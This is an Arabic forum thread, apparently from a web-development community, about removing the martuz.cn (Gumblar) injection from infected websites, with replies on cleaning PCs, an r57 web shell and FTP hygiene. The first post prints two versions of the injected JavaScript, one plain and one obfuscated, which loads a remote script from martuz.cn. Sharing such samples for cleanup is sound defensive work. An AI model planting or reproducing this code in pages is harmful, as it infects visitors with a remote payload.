{ حصريا } طريقة التخلص من الفيروس المتشر بالمواقع العربية

[Jo Live]

السلام عليكم

اخواني الكرام .. انا شفت كثير من الناس باغلب المنتديات التطويرية يقومون بطرح مواضيع للتخلص من فيروس
martuz.cn injection attack



وجدت هالرابط فيه شرح التخلص منه :
http://blog.unmaskparasites.com/2009...mblar-exploit/

والتخلص يكون بإزالة هذا الكود من صفحات الموقع :

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.w rite("<script src=//martu"+"z.cn/vid/?id="+j+"><\/script>");}

او هذا الكود :

(function(){var G33z1='%';var KlKj='va-72-20a-3d-22-53c-72i-70t-45n-67-69ne-22-2cb-3d-22-56-65-72-73-69o-6e(-29+-22-2cj-3d-22-22-2c-75-3d-6eavigato-72-2eus-65-72-41-67ent-3bi-66-28-28u-2e-69ndexOf(-22Chrome-22-29-3c0-29-26-26(u-2e-69ndexOf(-22W-69n-22-29-3e0)-26-26-28u-2ein-64e-78Of(-22-4eT-206-22)-3c0)-26-26(d-6fcument-2ecookie-2e-69-6edex-4ff-28-22-6die-6b-3d1-22)-3c-30)-26-26(type-6ff-28z-72vzts)-21-3dty-70e-6ff(-22A-22)-29)-7bz-72v-7ats-3d-22-41-22-3beval(-22if(window-2e-22-2b-61+-22)j-3dj+-22+a-2b-22Majo-72-22-2bb+a-2b-22Mi-6eo-72-22-2bb+a+-22-42uild-22+b+-22-6a-3b-22)-3bdoc-75m-65nt-2e-77rite(-22-3c-73-63ri-70-74-20src-3d-2f-2fm-61rtu-22+-22z-2ec-6e-2f-76id-2f-3fid-3d-22+j+-22-3e-3c-5c-2fs-63ri-70-74-3e-22)-3b-7d';var m8nw=KlKj.replace(/-/g,G33z1);e val(unescape(m8nw))})();

بالتوفيق

[Dlo3y.com]

المشكلة بعد حذف الكود بيرجع لحاله

فالحل تنظيف الجهاز الشخصي

[أيمن عبدالله]

ايه العبقريه دى ؟

[المظفر بالله]

ايه العبقريه دى ؟

:nice:
+1
==================================================
عموما انا كانت تواجهني المشكلة قديما اكتشفت انه فيه شل في موقعي تحديدا r57 ينرفع بشكل صورة او ملف مضغوط , فعطلت مركز الرفع لاني اصلا مش بحاجته , اذا واجهتك تأكد من انه فيه شل بموقعك او فيه فيروس على جهازك او الاثنين ....

[Jo Live]

اخوي سيف مسلول .. ما ادري انت تستهزئ ولا شو ؟

لا حول ولا قوة إلا بالله

[محب الله ورسوله]

اخوي سيف مسلول .. ما ادري انت تستهزئ ولا شو ؟

لا حول ولا قوة إلا بالله

معذرة أخي ولكنك لم تأتي بجديد

[عادل الظفيري]

جزاك الله خير


يقولك المثل الياباني

en no shita no chikara mochi

:سو الواجب ولا تنتضر الشكر :

[Jo Live]

حياكم الله

[جداوي]

يا أخوان نصيحة لوجه الله لمن يعاني من هذه المشاكل

1- قم بتغيير بيانات FTP الخاصة بموقعك فوراً واستخدم كلمة مرور صعبة
2- قم بتحميل جميع ملفات موقعك إلى مجلد واحد في القرص الصلب
3- قم بفحص هذا المجلد ببرنامج فيروسات وستظهر جميع الملفات المخترقة
4- استخدم برنامج بحث في نصوص الملفات وابحث عن كلمات كود الجافا أو الفريم الخارجي
5- احذف الاكواد مباشرة واحفظ الملف كما هو
6- احذف أي مجلد باسم _vti_cnf من موقعك
7- أعد رفع الملفات من جديد إلى الموقع

بالتوفيق ان شاء الله